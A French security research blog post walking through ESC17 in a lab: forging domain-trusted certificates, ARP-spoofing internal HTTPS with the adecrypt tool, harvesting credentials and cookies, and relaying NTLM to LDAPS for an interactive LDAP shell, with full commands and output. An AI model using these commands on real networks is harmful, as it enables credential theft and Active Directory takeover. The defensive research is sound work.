# ESC17 - Au-delà de WSUS : interception du HTTPS interne

> ESC17 forge un certificat approuvé par le domaine. Sur le HTTPS interne, il rend en clair identifiants, jetons de session et authentifications Windows.

Date: 2026-07-26
Tags: adcs, active-directory, pki, https, ntlm, esc17
URL: https://research.qu35t.pw/blog/esc17-https-interne/

---

*Une série de recherche par <a href="https://www.linkedin.com/in/alexis-martin3190/" target="_blank" rel="noopener noreferrer">Alexis MARTIN</a> (<a href="https://x.com/QU35T_TV" target="_blank" rel="noopener noreferrer">qu35t</a>) et <a href="https://www.linkedin.com/in/alexis-paret/" target="_blank" rel="noopener noreferrer">Alexis PARET</a> (nnino).*
*Chaque technique présentée dans cette série a été reproduite de bout en bout dans un environnement de laboratoire entièrement à jour.*

Le [premier article](/blog/esc17-introduction-threat-model/) a posé la primitive : ESC17 fabrique une **identité de serveur TLS approuvée à l'échelle du domaine**, pour n'importe quel nom d'hôte. WSUS en fut la première démonstration, spectaculaire parce qu'une mise à jour manipulée y devient du code SYSTEM. Ce deuxième article s'attaque à la surface la plus vaste, et la plus intuitive, de cette primitive : **le HTTPS interne**.

Chaque application web d'entreprise, chaque intranet, chaque interface d'administration, chaque API interne repose sur une hypothèse unique : *« si le certificat TLS présenté est émis par notre autorité de certification, alors le point d'accès est authentique »*. ESC17 permet précisément de forger un tel certificat pour un hôte que l'on ne possède pas. Il suffit alors de se placer sur le chemin réseau pour que tout ce trafic, réputé protégé, devienne lisible et modifiable.

## Pourquoi le HTTPS est la cible la plus large

Le HTTPS interne n'offre pas le potentiel d'exécution de code immédiate d'un service comme WSUS, mais il compense par le **nombre**. Dans un système d'information réel, on compte facilement des dizaines de services internes servis en TLS par un certificat de la CA d'entreprise :

- portails intranet, ressources humaines, gestion documentaire,
- outils d'exploitation et de supervision (Grafana, Kibana, interfaces d'hyperviseurs),
- consoles d'administration d'équipements (pare-feu, commutateurs, imprimantes, NAS),
- applications métier et API internes,
- outils de développement (GitLab, Jenkins, registres d'images).

Tous partagent la même hypothèse de confiance, et tous la partagent à tort dès lors qu'ESC17 est exploitable. Surtout, le HTTPS interne est sollicité **en permanence** : chaque connexion d'un utilisateur à l'un de ces services produit du trafic exploitable, sans attente ni fenêtre de tir particulière.

## Le principe : terminer le TLS rend tout lisible

L'attaque suit le schéma générique d'ESC17. On se place en homme du milieu (ARP spoofing, abus d'annonces IPv6, empoisonnement DNS), et l'on **termine la session TLS de la victime avec le certificat forgé**. Le navigateur ne lève en principe aucune alerte, car le certificat est réellement valide et réellement approuvé par le domaine (le comportement exact dépend de la rigueur de validation du client). <a href="https://github.com/qu35t-code/adecrypt" target="_blank" rel="noopener noreferrer">adecrypt</a> rouvre en parallèle une connexion vers le serveur légitime et relaie le trafic déchiffré, qu'il lit désormais en clair.

![Interception passive : la victime établit son TLS avec le certificat ESC17 de confiance vers adecrypt, qui termine le TLS, lit le HTTP en clair, relaie vers le serveur interne et verse identifiants, cookies et jetons dans le butin](/images/esc17-https-schema-capture.png)

La victime croit parler au serveur, elle parle en réalité à adecrypt, qui déchiffre puis relaie vers le vrai serveur. Tout ce qui passait pour protégé par TLS est lisible entre les deux jambes. À partir de cette position, trois familles de capacités s'ouvrent, exactement celles décrites dans le premier article :

1. **Interception passive.** Lire tout ce que la victime croyait protégé par TLS : jetons de session, identifiants soumis dans un formulaire, en-têtes d'authentification, données d'API internes.
2. **Relais d'authentification.** Récupérer ou relayer une authentification Windows intégrée (Negotiate ou NTLM) présentée par le navigateur à une application intranet.
3. **Manipulation active.** Altérer les requêtes ou les réponses à la volée, par exemple injecter du contenu dans une page ou modifier la réponse d'une API.

Cet article se concentre sur les deux premiers, l'interception passive et le relais d'authentification, que nous démontrons de bout en bout, et détaille le choix de conception qui rend l'attaque déployable sans casser le reste de la navigation des utilisateurs.

## Ne casser que l'interne : la sélection par SNI

Le point de conception le plus important tient à une contrainte pratique. Si l'on se place en homme du milieu sur tout un sous-réseau et que l'on termine indistinctement chaque session TLS, on casse aussi les connexions vers l'extérieur (moteurs de recherche, services SaaS, mises à jour), pour lesquelles nous n'avons pas de certificat valide. Ces connexions lèveraient des alertes et perturberaient les utilisateurs, ce qui est bruyant et contre-productif.

adecrypt résout cela en lisant le **SNI** (Server Name Indication) du `ClientHello` **avant de déchiffrer quoi que ce soit**. Le SNI, transmis en clair au tout début du handshake TLS, indique le nom d'hôte que le client cherche à joindre. adecrypt le lit sans consommer les octets, puis décide :

- **nom interne** (par exemple `intranet.esc17.local`) : on intercepte, on termine le TLS avec le certificat ESC17, on déchiffre.
- **nom externe ou absent** (par exemple `www.google.com`) : on **laisse passer en transparence**. Le TLS reste de bout en bout entre le client et le vrai serveur, sans terminaison de notre part, donc sans alerte.

```bash
[CONN] 10.10.20.11 -> 10.10.20.30:443 (host=intranet.esc17.local)
[PASS] 10.10.20.11 -> 142.250.x.x:443 transparent (SNI=www.google.com)
```

Les deux lignes résument tout. Le nom interne `intranet.esc17.local` est intercepté et son TLS terminé avec le certificat ESC17. Le nom externe `www.google.com` passe en relais brut, chiffré de bout en bout, invisible pour nous et intact pour l'utilisateur. C'est ce filtrage qui rend l'attaque déployable sur un segment entier sans casse collatérale.

Les options `--only-ips` et `--exclude` restreignent encore le périmètre, pour épargner une adresse ou une plage sensible.

## Un certificat par hôte, ou un seul wildcard

La sélection par SNI n'est que la moitié du problème. Une fois qu'adecrypt sait qu'il doit intercepter une connexion, encore faut-il qu'il présente un certificat **dont le nom correspond exactement** à l'hôte demandé par la victime. Un navigateur moderne rejette tout certificat qui ne couvre pas le nom visité, même s'il est parfaitement valide et émis par la CA du domaine. On l'a vu en montant le lab, avec un certificat établi pour `DC01.esc17.local` présenté à une victime qui allait sur `wk01.esc17.local`.

![Erreur NET::ERR_CERT_COMMON_NAME_INVALID, le certificat présenté est pour DC01.esc17.local alors que le site visité est wk01.esc17.local](/images/esc17-https-cert-mismatch.png)

*Un certificat de confiance ne suffit pas, il doit porter le bon nom. Ici il est émis pour `DC01.esc17.local` mais la victime va sur `wk01.esc17.local`, le navigateur refuse.*

Dans un vrai réseau, les victimes se répartissent sur des dizaines de services aux noms tous différents, `wk01`, `intranet`, `grafana`, `gitlab`, et le reste. Pour toucher un maximum de monde sans provoquer d'erreur, il faut donc un certificat valide **pour chacun de ces noms**. adecrypt le gère en forgeant les certificats **à la demande** : dès qu'un nouveau SNI interne apparaît, il émet via ESC17 le certificat correspondant à la volée, sans préparation.

Cette approche a un coût de discrétion. Chaque nom déclenche une **demande d'enrôlement** auprès de la CA, et une autorité qui voit soudain émettre des dizaines de certificats *Server Authentication* pour des hôtes variés produit un signal facilement remontable.

La parade est un **certificat wildcard**. Puisqu'ESC17 permet de fournir librement le SAN de la requête, rien n'empêche de demander un `*.esc17.local`. Un seul certificat couvre alors **tous** les hôtes du domaine (`wk01.esc17.local`, `intranet.esc17.local`, `grafana.esc17.local`…), avec une seule émission et donc une seule trace côté CA. On le forge en une commande avec <a href="https://github.com/ly4k/Certipy" target="_blank" rel="noopener noreferrer">certipy</a>, en plaçant le wildcard dans le SAN de la requête.

```bash
certipy req -u 'nnino@esc17.local' -p 'Password1!' -dc-ip 10.10.20.10 \
    -target DC01.esc17.local -ca 'esc17-DC01-CA' -template 'DefaultSSLCert' \
    -dns *.esc17.local

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 8
[*] Got certificate with DNS Host Name '*.esc17.local'
[*] Saved certificate and private key to '*.pfx'
```

![Certificat wildcard, SAN DNS Name *.esc17.local émis par esc17-DC01-CA, accepté sans alerte sur wk01.esc17.local](/images/esc17-https-wildcard-cert.png)

*Le même certificat, avec un SAN `*.esc17.local`, est accepté sans alerte sur `wk01.esc17.local`, et sur n'importe quel autre hôte du domaine. Une seule demande d'enrôlement suffit à tout couvrir.*

Un wildcard `*.esc17.local` couvre les noms à un seul niveau sous le domaine, ce qui correspond à la grande majorité des services internes. Pour des sous-domaines plus profonds, on ajoute le niveau voulu au SAN de la même manière.

On charge ce certificat unique dans adecrypt avec `--pfx`, et il sert n'importe quel hôte du domaine. L'interception se déroule alors comme dans les cas précédents, à ceci près qu'un seul certificat couvre tout.

```bash
sudo python3 adecrypt.py https --targets 10.10.20.12 --gateway 10.10.20.1 \
     --interface eth0 --only-ips 10.10.20.11 --pfx "../*.pfx" \
     --ldap-shell --ldap-dc 10.10.20.10

21:23:59 INFO  [CERT] default identity loaded from *.pfx (SAN: *.esc17.local)
21:24:02 INFO  [CONN] 10.10.20.12 -> 10.10.20.11:443 (host=wk01.esc17.local)
21:24:02 WARNING [HIJACK] session #1 seized : u:ESC17\nnino @ 10.10.20.12 -> added to the shell pool
```

Le certificat `*.esc17.local` est bien accepté pour `wk01.esc17.local`, et la suite (navette NTLM, bind, saisie de la session) est identique à celle détaillée au Cas 2.

adecrypt gère les deux stratégies, et c'est délibéré. Le wildcard est à privilégier, une seule émission, une seule trace, une couverture complète du domaine. La génération à la demande, activée par les options `--ca-*`, garde toute son utilité quand une configuration refuse les certificats wildcard, par exemple un client ou une application qui n'accepte que des noms d'hôte exacts. adecrypt forge alors un certificat par hôte à la volée, au prix de la discrétion.

## Cas 1, interception passive : tout le flux en clair

Une fois le TLS terminé, adecrypt inspecte chaque requête et chaque réponse HTTP, et extrait les éléments sensibles vers son fichier de butin, à mesure que les utilisateurs se connectent. Concrètement, il capture :

- **l'authentification HTTP Basic**, décodée en `utilisateur:mot de passe`,
- les **jetons Bearer** et JWT présentés dans l'en-tête `Authorization`,
- les **clés d'API** (`X-API-Key` et en-têtes équivalents),
- les **cookies de session** (tout cookie dont le nom évoque une session, une authentification ou un jeton),
- les **formulaires de connexion** soumis en POST, dont le couple identifiant et mot de passe,
- les identifiants présents dans un corps JSON ou une chaîne de requête.

Voici une exécution réelle contre notre application de laboratoire, un site IIS protégé par authentification Basic sur `wk01.esc17.local` (10.10.20.11). La victime est un poste bureautique, `wk02` (10.10.20.12), qui navigue vers ce site. Les deux machines sont sur le même sous-réseau.

Côté victime, rien ne trahit l'interception. L'invite d'authentification Basic s'affiche normalement, sans la moindre alerte de certificat, puisque le certificat présenté par adecrypt est émis par la CA du domaine et porte le bon SAN.

![Invite d'authentification Basic sur https://wk01.esc17.local affichée sur le poste victime, sans alerte de certificat](/images/esc17-https-basic-auth.png)

*Côté victime (wk02) : l'invite Basic de `wk01.esc17.local` s'affiche sans alerte, alors que le TLS est déjà terminé par adecrypt avec le certificat ESC17.*

```bash
sudo python3 adecrypt.py https --targets 10.10.20.12 --gateway 10.10.20.1 \
     --interface eth0 --only-ips 10.10.20.11 --pfx ../wk01.pfx

20:22:51 INFO  [CERT] default identity loaded from wk01.pfx (SAN: wk01.esc17.local)
20:22:51 INFO  [*] TLS proxy listening on :8443
20:22:51 INFO  [NET] ip_forward=1, REDIRECT ports=[443] dst=['10.10.20.11'] -> :8443
20:22:51 INFO  [ARP] 1 target(s) x 2 peer(s) [10.10.20.1, 10.10.20.11] to poison
20:23:12 INFO  [CONN] 10.10.20.12 -> 10.10.20.11:443 (host=wk01.esc17.local)
20:23:52 INFO    >>> [BASIC] admin:BasicAuthPasswordSecret  host=wk01.esc17.local  url=/
```

Le début du log décrit l'amorçage : adecrypt charge le certificat ESC17 (`[CERT] ... SAN: wk01.esc17.local`, et c'est bien ce **SAN** qui fait accepter le certificat sans alerte, pas le CN), ouvre son proxy TLS et pose la règle iptables qui redirige le 443 de `wk01` grâce à `--only-ips`. Une ligne mérite qu'on s'y arrête, celle de l'ARP :

```bash
[ARP] 1 target(s) x 2 peer(s) [10.10.20.1, 10.10.20.11] to poison
```

adecrypt empoisonne la victime vis-à-vis de **deux** pairs, la passerelle et le serveur. Ce second pair est indispensable, car wk02 et wk01 sont sur le même sous-réseau et leur trafic ne passe pas par la passerelle. Sans lui, la connexion vers l'intranet passerait à côté de l'interception.

Le reste se joue quand l'utilisateur navigue. Le `[CONN]` marque la terminaison du TLS avec le certificat forgé, puis, quarante secondes plus tard, le temps de la saisie, `>>> [BASIC] admin:BasicAuthPasswordSecret` livre le couple identifiant et mot de passe, décodé depuis l'en-tête `Authorization: Basic` et écrit en clair dans le butin. Détail utile, la capture a lieu sur la **requête** de la victime, avant même la réponse du serveur, donc les identifiants sont récupérés qu'il les accepte ou non.

Le même mécanisme couvre les autres formes d'authentification. Un formulaire de connexion produit `>>> [FORM] username=...  password=...`, un cookie de session `>>> [COOKIE] ...`, un jeton applicatif `>>> [BEARER] eyJ...`. On obtient ainsi **l'intégralité du flux HTTPS interne en clair, au fil des connexions**. Un identifiant capté se réutilise ailleurs, un cookie de session permet de reprendre une session en cours sans connaître le mot de passe, et un compte de service, souvent surprivilégié, ouvre un accès durable.

### Déchiffrer tout le flux dans Wireshark en direct

L'extraction ciblée par adecrypt n'est pas la seule voie. Puisqu'adecrypt termine le TLS, il peut exporter les **clés de session TLS** au format `SSLKEYLOGFILE`. On capture alors le trafic avec `tcpdump` ou Wireshark et on le **déchiffre en temps réel**, les deux jambes chiffrées comprises (victime vers adecrypt et adecrypt vers serveur). On dispose ainsi du flux HTTP complet en clair, et pas seulement des éléments repérés par les extracteurs.

```bash
sudo SSLKEYLOGFILE=/tmp/adecrypt_keys.log python3 adecrypt.py https \
     --targets 10.10.20.12 --gateway 10.10.20.1 --interface eth0 \
     --only-ips 10.10.20.11 --pfx ../wk01.pfx
```

Il suffit ensuite de renseigner ce fichier dans Wireshark (*Preferences → Protocols → TLS → (Pre)-Master-Secret log filename*) et de capturer sur l'interface : les sessions TLS se déchiffrent à la volée, et un *Follow → TLS Stream* affiche le HTTP en clair. Le même mécanisme vaut pour les modes `ldaps`, `rdp` et `sccm`, dont les deux jambes TLS sont également journalisées.

## Cas 2, authentification Windows intégrée : capture et relais NTLM

Beaucoup d'applications intranet reposent sur l'**authentification Windows intégrée**. Le navigateur présente l'identité de l'utilisateur au serveur via un en-tête `Authorization: Negotiate` qui encapsule Kerberos ou NTLM. Sur une zone Intranet de confiance, cet échange est automatique. Ailleurs, le navigateur affiche une invite d'identifiants, mais le résultat sur le canal est le même, une authentification Windows qui transite dans la session HTTPS.

![Capture et relais NTLM : adecrypt downgrade Negotiate en NTLM, transporte les trois messages NTLM entre la victime et le DC dans un bind LDAPS, et obtient un bind authentifié en tant que la victime sans connaître son mot de passe](/images/esc17-https-schema-ntlm-relay.png)

Tout le relais tient dans ce va-et-vient. adecrypt ne connaît jamais le mot de passe, il ne fait que transporter les trois messages NTLM entre la victime et le contrôleur de domaine. Le downgrade de `Negotiate` vers `NTLM` en est l'étape déterminante, on y revient plus bas.

Nous reprenons le même montage que pour le Cas 1, avec cette fois **Windows Authentication** activée sur le site IIS `wk01.esc17.local` (l'authentification anonyme est désactivée). La victime est toujours `wk02` (10.10.20.12). Comme le site n'est pas déclaré en zone Intranet sur ce poste, le navigateur ouvre une invite d'authentification Windows dans laquelle l'utilisateur `ESC17\nnino` saisit ses identifiants.

![Invite d'authentification Windows Security sur https://wk01.esc17.local, utilisateur nnino, domaine ESC17](/images/esc17-https-ntlm-auth.png)

*Côté victime (wk02) : l'invite Windows Security de `wk01.esc17.local`, avec le domaine ESC17 renseigné. Toujours aucune alerte de certificat, le TLS étant terminé par adecrypt.*

On lance adecrypt exactement comme au Cas 1, en ajoutant le relais vers <a href="https://github.com/fortra/impacket" target="_blank" rel="noopener noreferrer">ntlmrelayx</a>. L'option `--relay-mode` n'est pas nécessaire, elle passe automatiquement à `ntlm` dès qu'un `--relay-to` est fourni.

```bash
sudo python3 adecrypt.py https --targets 10.10.20.12 --gateway 10.10.20.1 \
     --interface eth0 --only-ips 10.10.20.11 --pfx ../wk01.pfx \
     --relay-to 127.0.0.1:80

20:32:20 INFO  [CERT] default identity loaded from wk01.pfx (SAN: wk01.esc17.local)
20:32:20 INFO  [RELAY] active -> ntlmrelayx ('127.0.0.1', 80) (mode=ntlm, ips=auto)
20:32:26 INFO  [CONN] 10.10.20.12 -> 10.10.20.11:443 (host=wk01.esc17.local)
20:32:27 INFO  [AUTH] wk01.esc17.local requests NTLM/Negotiate (relayable via --relay-mode ntlm)
20:32:27 INFO  [RELAY] AD challenge (Negotiate) on wk01.esc17.local -> NTLM downgrade + relay ('127.0.0.1', 80)
20:32:51 INFO    >>> [NTLM] TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==...  host=wk01.esc17.local  url=/
20:32:51 INFO    >>> [NTLM] TlRMTVNTUAADAAAAGAAYAHQAAAAwATABjAAAAAoACgBYAAAACgAKAGIAAAAIAAgAbAAAAAAAAAC8AQAA...  host=wk01.esc17.local  url=/
20:33:06 INFO  [CONN] 10.10.20.12 -> 10.10.20.11:443 (host=wk01.esc17.local)  (seconde connexion, rechallengée et redowngradée à l'identique)
```

Le déroulé côté adecrypt est limpide. Le relais est armé dès le démarrage (`[RELAY] active -> ntlmrelayx`). Quand wk02 ouvre la page, IIS répond par un défi `WWW-Authenticate: Negotiate`, qu'adecrypt réécrit à la volée pour ne proposer que **NTLM**. Ce downgrade est indispensable, car **Kerberos n'est pas relayable** : son ticket de service (AP-REQ) est chiffré pour le SPN du serveur visé et ne peut pas être rejoué ailleurs, alors que NTLM, lui, se relaie. En ne présentant que NTLM au navigateur, adecrypt force la production d'une authentification relayable.

:::note[Limite : les comptes Protected Users]
Tout ce cas repose sur NTLM. Or un compte membre du groupe **Protected Users** ne peut pas s'authentifier en NTLM : son authentification Windows est **forcée en Kerberos**. Le downgrade `Negotiate` vers `NTLM` échoue alors, le navigateur ne produit aucun message NTLM à capturer ou à relayer, et le cas tombe pour ce compte (même limite dans un domaine où NTLM est désactivé). Attention toutefois : cette protection ne vaut que pour ce vecteur HTTPS. Sur LDAPS, le détournement de session décrit dans l'[article LDAP](/blog/esc17-ldaps-session-hijack/) fonctionne **aussi contre Kerberos**, donc y compris contre les comptes Protected Users.
:::

Les deux lignes `>>> [NTLM]` sont les messages eux-mêmes, capturés au passage. Leur préfixe base64 les trahit, `TlRMTVNTUAAB...` décode `NTLMSSP\0` suivi du type `0x01` (négociation, Type 1) et `TlRMTVNTUAAD...` le type `0x03` (authentification, Type 3, qui porte la réponse NTLMv2 au challenge). La seconde salve, une trentaine de secondes plus tard, n'est qu'une nouvelle connexion du navigateur, rechallengée et redowngradée à l'identique. L'authentification de `nnino` est désormais entre les mains de ntlmrelayx, reste à choisir la cible du relais.

**Premier essai, relais vers LDAP en clair (port 389).**

```bash
ntlmrelayx.py -t ldap://10.10.20.10 -smb2support

[*] Servers started, waiting for connections
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from 127.0.0.1 controlled, attacking target ldap://10.10.20.10
[*] (HTTP): Client requested path: /
[-] (HTTP): Exception in HTTP request handler: Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )
```

Le relais atteint bien le DC avec l'identité de la victime (`attacking target ldap://10.10.20.10`), mais il est **refusé pour cause de signature LDAP imposée**. C'est très exactement la protection qu'approfondit [l'article LDAP](/blog/esc17-ldaps-session-hijack/), la signature LDAP verrouille le relais sur le port 389. ntlmrelayx suggère d'ailleurs lui-même la parade, passer par une couche TLS avec `ldaps://`.

**Second essai, relais vers LDAPS (port 636).** Le 636 contourne l'exigence de signature, et il n'est verrouillé que par le channel binding. Ici, le DC ne l'impose pas, le relais réussit. On ajoute `-i` pour ouvrir un shell LDAP interactif sur la session relayée.

```bash
sudo ntlmrelayx.py -t ldaps://10.10.20.10 -smb2support -i
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[*] Running in relay mode to single host
[*] Servers started, waiting for connections
[*] (HTTP): Connection from 127.0.0.1 controlled, attacking target ldaps://10.10.20.10
[*] (HTTP): Authenticating connection from ESC17/NNINO@127.0.0.1 against ldaps://10.10.20.10 SUCCEED [1]
[*] ldaps://ESC17/NNINO@10.10.20.10 [1] -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as ESC17/NNINO
```

Le relais **réussit** (`SUCCEED [1]`) et ntlmrelayx ouvre un shell LDAP interactif sur `127.0.0.1:11000`, authentifié en tant que `ESC17\NNINO`. On s'y connecte simplement avec `nc`.

```bash
$ nc 127.0.0.1 11000
Type help for list of commands

# help

 add_computer computer [password] [nospns] - Adds a new computer to the domain. Requires LDAPS.
 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
 set_rbcd target grantee - Grant the grantee the ability to perform RBCD to the target.
 set_shadow_creds target - Set shadow credentials on the target object. Requires LDAPS.
 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer.
 grant_control [search_base] target grantee - Grant full control on a given target object to the grantee.
 start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS.
 dump - Dumps the domain.
 [...]
 whoami - get connected user
 exit - Terminates this session.

# whoami
u:ESC17\nnino
```

La lecture est directe. ntlmrelayx rejoue vers le LDAPS du DC l'authentification captée par adecrypt, le DC accepte le bind (`SUCCEED [1]`), et l'attaquant se retrouve avec une session LDAP authentifiée en tant que `nnino` sans avoir jamais connu son mot de passe, ce que confirme le `whoami`. La liste des commandes donne la mesure de l'impact. Selon les droits du compte relayé, on ajoute une machine au domaine (`add_computer`), on configure une délégation RBCD (`set_rbcd`), on pose des identifiants fantômes (`set_shadow_creds`), on lit un mot de passe LAPS (`get_laps_password`) ou on s'octroie un contrôle total sur un objet (`grant_control`). Ici, `nnino` est un utilisateur standard, la surface d'action se limite à ses droits, mais un compte plus privilégié qui naviguerait vers le site étendrait d'autant le relais.

### Pourquoi LDAPS passe là où LDAP échoue

C'est le point technique central de ce cas, et il mérite d'être détaillé.

Sur le port **389**, le DC impose la signature LDAP. Cette signature est calculée à partir de la **clé de session NTLM**, elle-même dérivée du secret de l'utilisateur. Dans un relais, l'attaquant transmet les messages NTLM tels quels mais ne connaît pas ce secret. Il ne peut donc pas dériver la clé de session, ni signer le trafic qui suit le bind. Le DC, qui exige cette signature, referme la session. C'est le sens exact du message `Server rejected authentication because LDAP signing is enabled`.

Sur le port **636**, l'intégrité et la confidentialité sont déjà assurées par la couche TLS. Active Directory n'exige alors plus de signature au niveau LDAP, cette protection étant fournie par le tunnel TLS lui-même. Le bind relayé n'a donc rien à signer, et il aboutit. Voilà pourquoi `ldaps://` réussit là où `ldap://` est refusé, ce n'est pas un contournement de la signature, c'est que la signature n'est tout simplement plus requise une fois le canal chiffré par TLS.

Le 636 a toutefois sa propre garde, le **channel binding**. Il lie l'authentification NTLM au canal TLS exact présenté par le serveur, au moyen d'une empreinte de son certificat. Une authentification relayée arrive sur un canal TLS différent de celui qu'attend le DC, l'empreinte ne correspond pas, et le DC la rejette **s'il impose le channel binding**. Ici, il ne l'impose pas, la non-correspondance est ignorée et le relais réussit. C'est exactement le modèle que développe l'article LDAP : la signature verrouille le 389, le channel binding verrouille le 636, et il faut que les deux soient en place pour fermer complètement le relais LDAP.

Détail qui a son importance, plusieurs opérations à fort impact du shell exigent de toute façon LDAPS. La liste d'aide l'indique explicitement pour `add_computer` et `change_password` (`Requires LDAPS`), et il en va de même pour `set_shadow_creds`. LDAPS n'est donc pas seulement la cible atteignable quand la signature bloque le 389, c'est aussi celle qui débloque les écritures les plus intéressantes. La commande `start_tls` du shell poursuit le même but, monter une couche TLS par-dessus un bind LDAP en clair pour les opérations qui réclament un canal chiffré, sans repasser par le channel binding.

### Exploiter la session : le shell interactif plutôt que le proxy SOCKS

ntlmrelayx offre deux façons d'utiliser une session relayée. Le mode `-socks` la parque dans un proxy SOCKS pour la réutiliser depuis un autre outil, et le mode `-i` ouvre directement un shell sur la session. Nous avons d'abord tenté la voie SOCKS avec <a href="https://github.com/Pennyw0rth/NetExec" target="_blank" rel="noopener noreferrer">NetExec</a> (`nxc ldap`), sans succès, et la raison est instructive.

Avant d'exécuter la moindre requête, le module LDAP de NetExec sonde la cible sur `ldap://` (port 389) pour récupérer les informations d'hôte et tester la signature (`enum_host_info`, `check_ldap_signing`). Or la session parquée dans le SOCKS est une session **LDAPS, sur le 636 uniquement**. ntlmrelayx répond donc :

```bash
[-] SOCKS: Don't have a relay for 10.10.20.10(389)
```

et la connexion est refusée avant même la requête. Plus généralement, le proxy SOCKS de ntlmrelayx maintient une session liée à un protocole et un port précis, et tout outil qui sonde d'autres ports ou rouvre des connexions s'y adapte mal.

Le shell interactif `-i` évite ce problème, car il opère directement sur le bind LDAPS déjà établi, sans nouvelle négociation ni sondage préalable. C'est pourquoi nous l'utilisons ici : c'est la voie la plus fiable pour piloter une session LDAP relayée.

### Le shell LDAP intégré à adecrypt

L'enchaînement ci-dessus fonctionne parfaitement, mais il dépend d'un outil externe et de son shell. Or le mode `ldaps` d'adecrypt, présenté dans l'article suivant, embarque déjà un shell LDAP **multi-session** plus complet que celui de ntlmrelayx, avec des opérations d'escalade prêtes à l'emploi (`set_rbcd`, `add_ace`, `grant_dcsync`, `set_owner`, `set_shadow_creds`, `add_computer`, `passwd`, et la gestion de plusieurs sessions via `sessions` et `use <id>`).

Nous avons donc branché ce même shell directement sur le mode `https`, avec le flag `--ldap-shell`. Dans ce mode, adecrypt ne relaie plus vers ntlmrelayx, il **fait la navette NTLM lui-même** vers le LDAPS du DC. Il ouvre une session LDAPS vers le contrôleur de domaine, y transporte le Type 1 dans un bind SASL GSS-SPNEGO, récupère le Type 2 du DC pour le renvoyer à la victime, puis transmet le Type 3 pour finaliser le bind. Aucun calcul cryptographique n'est nécessaire, on ne fait que déplacer les jetons NTLM bruts. Sur bind réussi, la session LDAPS authentifiée est versée dans le pool du shell, dédoublonnée par identité comme dans le mode `ldaps`.

On reprend le même montage que le Cas 2, en remplaçant `--relay-to` par `--ldap-shell` et en indiquant le DC cible avec `--ldap-dc`.

```bash
sudo python3 adecrypt.py https --targets 10.10.20.12 --gateway 10.10.20.1 \
     --interface eth0 --only-ips 10.10.20.11 --pfx ../wk01.pfx \
     --ldap-shell --ldap-dc 10.10.20.10

21:04:37 INFO  [CERT] default identity loaded from wk01.pfx (SAN: wk01.esc17.local)
21:04:37 INFO  [SHELL] internal NTLM->LDAPS relay to DC 10.10.20.10 -> multi-session LDAP shell (connect: nc <attacker> 11337)
21:04:45 INFO  [CONN] 10.10.20.12 -> 10.10.20.11:443 (host=wk01.esc17.local)
21:04:45 INFO  [RELAY] AD challenge (Negotiate) on wk01.esc17.local -> NTLM downgrade (internal LDAP relay -> DC 10.10.20.10)
21:04:45 INFO  [RELAY] wk01.esc17.local : NTLM Type1 received -> LDAPS bind to DC 10.10.20.10:636
21:04:45 INFO  [RELAY] wk01.esc17.local : DC returned Type2 (challenge) -> 401 NTLM to victim
21:04:45 INFO  [RELAY] wk01.esc17.local : NTLM Type3 received -> completing bind to DC
21:04:45 WARNING [HIJACK] wk01.esc17.local : NTLM relay bind SUCCEEDED on DC 10.10.20.10 -> attaching the authenticated LDAPS session to the shell
21:04:45 WARNING [HIJACK] session #1 seized : u:ESC17\nnino @ 10.10.20.12 -> added to the shell pool
21:04:45 WARNING [SHELL] multi-session LDAP shell on 0.0.0.0:11337  (connect: nc <attacker> 11337 ; 'sessions' to list, 'use <id>' to switch)
21:04:45 INFO  [HIJACK] wk01.esc17.local : identity u:ESC17\nnino already hijacked -> dropping duplicate  (seconde connexion)
```

Le log déroule toute la navette qu'adecrypt fait maintenant lui-même, `NTLM Type1 received -> LDAPS bind to DC`, `DC returned Type2 (challenge) -> 401 NTLM to victim`, `NTLM Type3 received -> completing bind`, exactement les trois messages qu'on passait à ntlmrelayx dans le Cas 2. Le bind aboutit (`bind SUCCEEDED`), la session est versée dans le pool (`session #1 seized : u:ESC17\nnino`) et la console s'ouvre sur le port 11337. La seconde connexion du navigateur rejoue le relais, mais se solde par `identity u:ESC17\nnino already hijacked -> dropping duplicate`, c'est le **dédoublonnage par identité**, une seule session par compte plutôt qu'un shell par connexion (`--keep-hijack` lève cette limite si besoin).

On pilote ensuite le pool depuis un autre terminal, avec un simple `nc`.

```bash
sysadmin@attacker-machine:~$ nc 127.0.0.1 11337
[adecrypt LDAP shell] multi-session. 'help' for commands, 'sessions' to list.
All ops run AS the ACTIVE hijacked victim (limited by ITS rights).

LDAP# sessions
   ID  IDENTITY                              SOURCE            AGE       STATE
 * #1   u:ESC17\nnino                         10.10.20.12        1m21s   alive
(* = active session ; 'use <id>' to switch)
```

Le résultat est le même shell que celui de l'article LDAP, alimenté cette fois par une authentification captée en HTTPS plutôt que par un détournement de session LDAPS. Toutes les opérations s'exécutent en tant que la victime, dans la limite de ses droits. Le relais vers `ntlmrelayx` reste disponible via `--relay-to`, pour qui préfère cet outil ou en a besoin pour une cible autre que LDAP. Les deux voies partent du même point, l'authentification Windows captée dans la session HTTPS grâce à la position que donne ESC17.

Ce test fait directement le pont avec l'article LDAP. Le relais NTLM est un angle connu et documenté, et ce qu'ESC17 apporte à cet enchaînement, c'est la **position** pour capter proprement l'authentification, à l'intérieur d'une session HTTPS que la victime croyait sûre.

## Récapitulatif

Selon ce que présente la victime sur le HTTPS interne, l'issue diffère. Le tableau résume les situations, une fois le TLS terminé avec le certificat ESC17.

| Cas | Ce qu'on récupère | Préconditions | Impact |
|:---|:---|:---|:---|
| **Interception passive** | identifiants Basic, jetons Bearer/JWT, clés d'API, cookies de session, formulaires POST | TLS terminé (SNI interne, certificat au bon nom) | identifiants réutilisables, reprise de session sans mot de passe |
| **Déchiffrement complet** (`SSLKEYLOGFILE`) | tout le flux HTTP en clair dans Wireshark, les deux jambes TLS | TLS terminé | visibilité totale du trafic, au-delà des extracteurs ciblés |
